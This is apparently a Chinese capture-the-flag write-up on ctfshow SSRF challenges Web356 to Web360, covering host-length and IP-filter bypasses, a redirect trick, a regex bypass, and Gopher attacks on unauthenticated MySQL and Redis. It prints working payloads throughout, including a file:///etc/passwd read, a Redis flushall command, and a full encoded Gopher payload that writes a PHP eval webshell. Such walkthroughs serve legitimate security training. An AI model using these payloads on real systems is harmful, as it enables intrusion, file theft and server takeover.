ctfshow靶场SSRF部分——基础绕过到协议攻击解题思路与技巧(二)

本文探讨PHP环境下SSRF漏洞的高级利用,重点分析通过Gopher协议攻击内网未授权Redis服务的技术实现。详细阐述了构造RESP原生指令、规避解析过滤的二次URL编码机制,以及利用数据备份功能写入Webshell的底层逻辑。

文章目录

    • SSRF介绍
      • [什么是 SSRF(极简版)](#什么是 SSRF(极简版))
      • [常见的 SSRF 攻击方法与 Payload 示例](#常见的 SSRF 攻击方法与 Payload 示例)
        • [1. 探测与访问内网 (HTTP / HTTPS 协议)](#1. 探测与访问内网 (HTTP / HTTPS 协议))
        • [2. 读取本地敏感文件 (`file:// 伪协议`)](#2. 读取本地敏感文件 (file:// 伪协议))
        • [3. 探测内网服务指纹 (`dict:// 伪协议`)](#3. 探测内网服务指纹 (dict:// 伪协议))
    • Web356
    • Web357(新题型)
    • Web358
    • [Web359 --- 打无密码的mysql](#Web359 — 打无密码的mysql)
    • [Web360 --- 打redis](#Web360 — 打redis)
    • 总结

SSRF介绍

这里为你把 SSRF 的概念进行了提炼,并结合你提供的图片 image_ff0ed6.png 中提到的进阶技巧,整理了常见的攻击方法与 Payload 示例。

什么是 SSRF(极简版)

  • 核心概念:攻击者把存在漏洞的 Web 服务器当成"跳板",让它代替自己去向内网或本地系统发送请求。
  • 为什么会发生 :服务端提供了"拉取外部网络资源"(如远程图片、Webhook)的功能,但没有对用户输入的 URL 进行严格检查
  • 能干什么 :突破防火墙。主要用于内网探活与端口扫描读取服务器本地文件 ,以及攻击内网中无密码的脆弱服务(如 Redis、MySQL)。

常见的 SSRF 攻击方法与 Payload 示例

不同的协议在 SSRF 中能发挥不同的作用。以下是按攻击深度递进的常见方法:

1. 探测与访问内网 (HTTP / HTTPS 协议)
  • 原理解释:利用目标服务器作为代理,去访问其内网的 IP 或本地回环地址(127.0.0.1)。这可以用来寻找内网存活的主机、扫描开放的端口,或者绕过 IP 白名单访问仅限本地访问的后台。
bash 复制代码
# payload
http://127.0.0.1:8080/admin
2. 读取本地敏感文件 (file:// 伪协议)

原理解释 :如果底层的网络请求库(如 cURL, file_get_contents)支持 file:// 协议,攻击者就可以直接让服务器读取自身的系统文件、配置文件或源代码。

bash 复制代码
# payload
file:///etc/passwd
3. 探测内网服务指纹 (dict:// 伪协议)

原理解释dict:// 协议原本用于字典服务查询,但在 SSRF 中,它可以向任意端口发送请求并获取部分返回结果。常用来确认内网特定端口上运行的是什么服务(例如探测是否开放了 Redis)。

bash 复制代码
# (如果目标服务器运行着无密码的 Redis,服务端会将其 info 信息返回给攻击者)
dict://127.0.0.1:6379/info

# 攻击内网脆弱服务 (gopher:// 伪协议)
# (注:实战中,攻击者通常会使用专门的工具(如 Gopherus)来一键生成针对 MySQL、Redis、FastCGI 等服务的复杂 Gopher Payload。)
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

Web356

我们还是看一下代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

关键代码对比:

上一关:if((strlen($host)<=5))

本关:if((strlen($host)<=3))

简单解释:

本关进一步收紧了主机名(host)的长度限制,要求必须小于等于 3 个字符。这导致上一关使用的 http://127.1(host 长度为 5)被拦截失效。

绕过方法

只能使用最短的缺省 IP 写法,即传入 url=http://0(host 长度仅为 1)。在绝大多数 Linux 系统底层网络交互中,0 会被自动补全并解析为本地地址 0.0.0.0127.0.0.1,从而完美绕过长度限制并触发 SSRF。

bash 复制代码
url=http://0/flag.php

Web357(新题型)

本关终于变化了代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> scheme

关键代码解释:

  • ip = gethostbyname(x['host']);
    提取主机名,并在服务器端进行一次 DNS 解析,获取其真实 IP 地址。
  • if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
    使用 PHP 内置的 filter_var 函数进行严格校验。两个 FILTER_FLAG 参数的作用是彻底拉黑所有私有 IP(如局域网 192/10 网段)和保留 IP(如 127.0.0.1、0.0.0.0 等)
  • 如果上一步的 IP 校验通过,则发起最终的网络请求获取数据。

PHP FILTER_VALIDATE_IP 过滤器


绕过原理

题目使用的 file_get_contents() 函数在请求网络资源时,默认会自动跟随 HTTP 的 302 重定向

但是,代码前方的 gethostbyname()filter_var() 仅仅对用户传入的初始 URL 的主机名进行了合法性校验,并没有防范跳转后的地址。利用这个逻辑漏洞即可实现绕过。

第一步:在 VPS 上部署恶意跳转脚本

使用你的公网 VPS(假设搭建了基础的 Nginx/Apache + PHP 环境),在网站根目录下创建一个文件,例如命名为 ssrf.php

写入以下 PHP 重定向代码:

php 复制代码
<?php
header("Location: http://127.0.0.1/flag.php");
?>

第二步:提交 Payload 发起攻击

回到靶场题目,提交你布置好脚本的 VPS 地址:

text 复制代码
url=http://你的VPS公网IP/ssrf.php
执行过程
  1. 安全校验阶段 :代码解析出主机名为 你的VPS公网IPgethostbyname 返回该公网 IP。filter_var 检查发现它是合法的公网地址,放行
  2. 初始请求阶段file_get_contents 按照传入的 URL 请求你的 VPS。
  3. 跳转利用阶段(核心) :你的 VPS 返回了一个 HTTP 302 Found 响应,告诉 file_get_contents 资源在 [http://127.0.0.1/flag.php](http://127.0.0.1/flag.php)
  4. 触发漏洞file_get_contents 自动跟随跳转,盲目地向本地的 127.0.0.1 发起了请求,最终将内网的 flag 内容读取并返回给你,完成 SSRF。

这里如果只返回ssrf.php的内容,而不是flag,说明"VPS上并没有安装PHP",需要执行以下命令:

bash 复制代码
apt update
apt install php libapache2-mod-php -y

systemctl restart apache2

正确的现象是:访问ssrf.php文件后,你看不到这段代码了,浏览器地址栏会瞬间变成 127.0.0.1/flag.php(虽然页面会提示"无法连接",但这说明你的 VPS 成功发出了 302 跳转指令)

失败:

成功:

Web358

同理,查看代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

关键代码解释:

本关的核心代码是 if(preg_match('/^http:\/\/ctf\..*show$/i',$url))

它使用正则表达式对用户提交的整个 URL 字符串进行严格的格式验证:

  • ^http:\/\/ctf\.:限制 URL 必须以 http://ctf. 开头。
  • .*:中间可以是任意字符。
  • show$:限制 URL 必须以 show 结尾(/i 表示不区分大小写)。

与上一关的对比与脆弱性:

  • 区别 :上一关防御的核心是解析并验证底层的真实 IP 地址 (拦截内网 IP);而本关完全放弃了对 IP 和主机名的实际校验,退化为只对 URL 表面字符串的首尾特征进行正则死匹配。
  • 脆弱性所在 :正则表达式只关注字符串长什么样,并不理解 URL 的网络协议结构。file_get_contents 函数支持标准的 URL 结构,包括身份验证(Userinfo)和参数片段(Query/Fragment)。

绕过思路

攻击者可以利用 URL 的基础语法格式 http://[用户名]:[密码]@[IP地址]/[路径]?[参数]#[锚点] 来完美拼凑出符合正则的字符串,同时让其真实访问本地目标。

例如,构造如下 Payload:
url=http://ctf.admin@127.0.0.1/flag.php?show

  • 正则检查层面 :以 http://ctf. 开头,以 show 结尾,完美符合正则要求,安全放行。
  • 底层执行层面file_get_contents 会将其解析为访问主机 127.0.0.1,路径为 /flag.php,请求参数为 show,并将 ctf.admin 作为无用的 HTTP Basic 认证账号忽略。最终成功发起对本地的内网请求。
bash 复制代码
url=http://ctf.admin@127.0.0.1/flag.php?show

成功得到flag;

Web359 --- 打无密码的mysql

打无密码的mysql

这里我们打开网页,得到如下页面:

很明显是一个登陆界面;

随便输入账号密码,发现跳转到一个空白页面

抓包试试:

这里我们将payload解码,发现并不是userpass参数,而是reurl参数(猜测与之前的url参数一样)

bash 复制代码
u=admin&returl=https%3A%2F%2F404.chall.ctf.show%2F

# 解码后
https://404.chall.ctf.show/

绕过原理

第一步:确定攻击目标与思路

漏洞点:returl 参数接收外部 URL,存在 SSRF。

针对无密码的 MySQL 服务进行 SSRF 攻击,通常的核心思路是利用 Gopher 协议 构造原生的 MySQL 交互数据包,直接在目标内网执行 SQL 语句。

从提供的 HTTP 请求来看,注入点非常明显是 returl 参数。后端服务器很可能会去请求这个参数传入的 URL。

  • 漏洞点returl 参数接收外部 URL,存在 SSRF。
  • 攻击目标 :内网本地的 MySQL 服务(通常是 127.0.0.1:3306),且已知存在无密码的 root 用户。
  • 利用协议gopher://。因为 MySQL 协议是基于 TCP 的二进制协议,HTTP/HTTPS 协议无法发送纯净的二进制流,而 Gopher 协议可以通过 _ 符号后接 URL 编码的数据,精确控制发送给目标端口的每一个字节。
  • 攻击目的 :通常在 CTF 中,利用无密码 MySQL 拿 Flag 的最稳妥方式是通过 SQL 语句写一个 Webshell 到 Web 目录下,即利用 SELECT ... INTO OUTFILE

第二步:生成 Gopher 格式的 MySQL Payload

这里我们用一下工具:Gopherus

  1. 下载并运行 Gopherus:
bash 复制代码
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
python gopherus.py --exploit mysql
  1. 按照提示输入参数:
  • Username : root (无密码的情况默认选 root)
  • Query : 输入你要执行的 SQL 语句。假设目标 Web 根目录是常见的 /var/www/html/,我们可以写入一句话木马:
bash 复制代码
select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/shell.php";
  1. Gopherus 会生成一段类似这样的 Payload:
text 复制代码
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%3f%20%00%00%00%01...(省略长串十六进制)

结果如下:

第三步:处理 Payload 的 URL 编码

这是最容易踩坑的一步。

Gopherus 生成的 payload 中本身已经包含了一次 URL 编码(比如 %a3)。但是,我们要把这串字符串作为 returl 的参数通过 POST 发送,后端的 PHP 环境(或者中间件)在接收到 POST 数据时,会自动进行一次 URL 解码。

bash 复制代码
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01

如果直接发送 Gopherus 的原始输出,后端解码后,发给 curl 执行的 URL 就会变成乱码,导致攻击失败。

因此,必须对 Gopherus 生成的整个 gopher://... 字符串再进行一次 URL 编码。

编码前:
gopher://127.0.0.1:3306/_%a3%00...

编码后(再次 URL Encode):
gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500...
(注意:所有的 % 都变成了 %25)

第四步:发送攻击请求

将经过二次 URL 编码后的 payload 放入你抓到的那个 POST 请求包中执行:

http 复制代码
POST /check.php HTTP/1.1
Host: e88543de-c1c2-48bf-8fb2-c3c9d625204b.challenge.ctf.show
...(省略其他头部)...
Content-Type: application/x-www-form-urlencoded

u=admin&returl=gopher%3A%2F%2F127.0.0.1%3A3306%2F_%25a3%2500%2500%25...(填入你二次编码后的完整payload)

成功发送payload:

发送请求后,如果目标内网的 MySQL 成功执行了语句,你就可以直接访问 https://e88543de-c1c2-48bf-8fb2-c3c9d625204b.challenge.ctf.show/shell.php,并使用密码 1 来连接你的 Webshell(比如使用蚁剑/冰蝎),从而获取服务器权限去读取真正的 flag;


在根目录下发现有flag.txt

Web360 --- 打redis

打redis

还是老样子,看一看代码:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

怎么又变回了这种眉清目秀的感觉?

绕过思路

端口为6379同样操作就可以了

bash 复制代码
python gopherus.py --exploit redis

PHPshell
"<?php @eval($_POST[1]);?>" 

结果如下:

同样需要将得到payload进行二次URL编码,再执行:


成功找到flag:

总结

本文探讨PHP环境下SSRF漏洞的高级利用,重点分析通过Gopher协议攻击内网未授权Redis服务的技术实现。详细阐述了构造RESP原生指令、规避解析过滤的二次URL编码机制,以及利用数据备份功能写入Webshell的底层逻辑。

相关推荐
摩尔元数1 小时前
特殊环境安全生产的AI运
人工智能·安全·制造·mes
志栋智能1 小时前
安全超自动化的投资回报率如何量化?
人工智能·安全·自动化
funnycoffee1232 小时前
Cisco Firewpower 4100 9300 FXOS change management ip address
linux·数据库·tcp/ip
Chase_______2 小时前
Java 基础语言 ③:流程控制与数组——从条件分支到数组遍历,一篇通关
java·数据库·python
深度学习lover2 小时前
<数据集>yolo 车牌识别<目标检测>
人工智能·python·yolo·目标检测·计算机视觉·车牌识别
范范@2 小时前
day2-python基础语法
开发语言·python
编码者卢布2 小时前
【Azure Container App】容器应用的维护窗口设置
python·azure
夏至春来-美美2 小时前
python 使用pytest的ini配置
开发语言·python·pytest
Ogcloud_oversea2 小时前
SD-WAN 技术架构解析:控制平面与数据平面的解耦实践
运维·网络·网络协议·网络安全·信息与通信